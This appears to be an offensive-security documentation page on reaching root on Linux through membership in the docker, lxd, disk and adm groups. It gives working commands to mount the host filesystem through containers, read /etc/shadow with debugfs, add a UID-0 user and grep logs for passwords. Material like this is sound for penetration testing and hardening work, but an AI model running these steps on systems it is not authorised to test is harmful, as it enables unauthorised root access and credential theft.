> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Linux Privileged Groups

Group membership alone, with no sudo rule, no SUID binary, and no exploit, is sometimes enough to reach root. Each of these groups grants access to something that was never meant to be handed to a non-root user, check `groups` or `id` during enumeration and come back here if any of these show up.

> **Direct Root Equivalent**
>
> Docker and LXC/LXD membership is effectively root on the host, no further exploitation needed, just the right command.

> **Partial Access**
>
> Disk and adm grant broad read/write or log access, useful, but needs an extra step to turn into a full shell.

***

## Docker

Being in the `docker` group lets a user run containers without `sudo`, and running a container is, by design, equivalent to root on the host: `docker` can mount any host path into the container and read/write it as root.

```bash theme={null}
docker run -v /:/mnt -it ubuntu chroot /mnt bash
```

***

## LXC / LXD

LXD is Ubuntu's own container manager, conceptually identical to Docker for this purpose. On many Ubuntu installs every local user is added to the `lxd` group automatically, often without anyone noticing the implication. Membership lets you create a *privileged* container (one that isn't namespace-isolated from the host) and mount the host filesystem into it directly.

```bash theme={null}
# unpack a minimal Alpine image for the container
unzip alpine.zip

lxd init
# accept the defaults for storage backend and bridge when prompted

lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh
# host filesystem is now mounted at /mnt/root inside the container, as root
```

***

## Disk

Members of the `disk` group have raw read/write access to block devices under `/dev`, including `/dev/sda1` (or whichever device holds the root filesystem). That's effectively full filesystem access outside of normal permission checks, `debugfs` can read or write any file directly off the raw device.

```bash theme={null}
debugfs /dev/sda1
# at the debugfs prompt:
cat /etc/shadow
```

> [!TIP]
>
> `debugfs` can also write files, not just read them, the same access used to read `/etc/shadow` here can just as easily overwrite `/etc/passwd` to add a UID-0 user (see the [Writable /etc/passwd](https://0-x.dev/linux/linux-privilege-escalation.md#writable-etcpasswd) technique).

***

## Adm

Members of the `adm` group can read every log under `/var/log`, not privilege escalation by itself, but a direct line into sensitive data: failed/successful login attempts, sudo invocations, cron output, and anything else an application happened to log, which routinely includes credentials typed into the wrong field.

```bash theme={null}
aureport --tty | less              # readable summary of TTY input captured by the audit daemon, if auditd is running
grep -r "password" /var/log/ 2>/dev/null
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.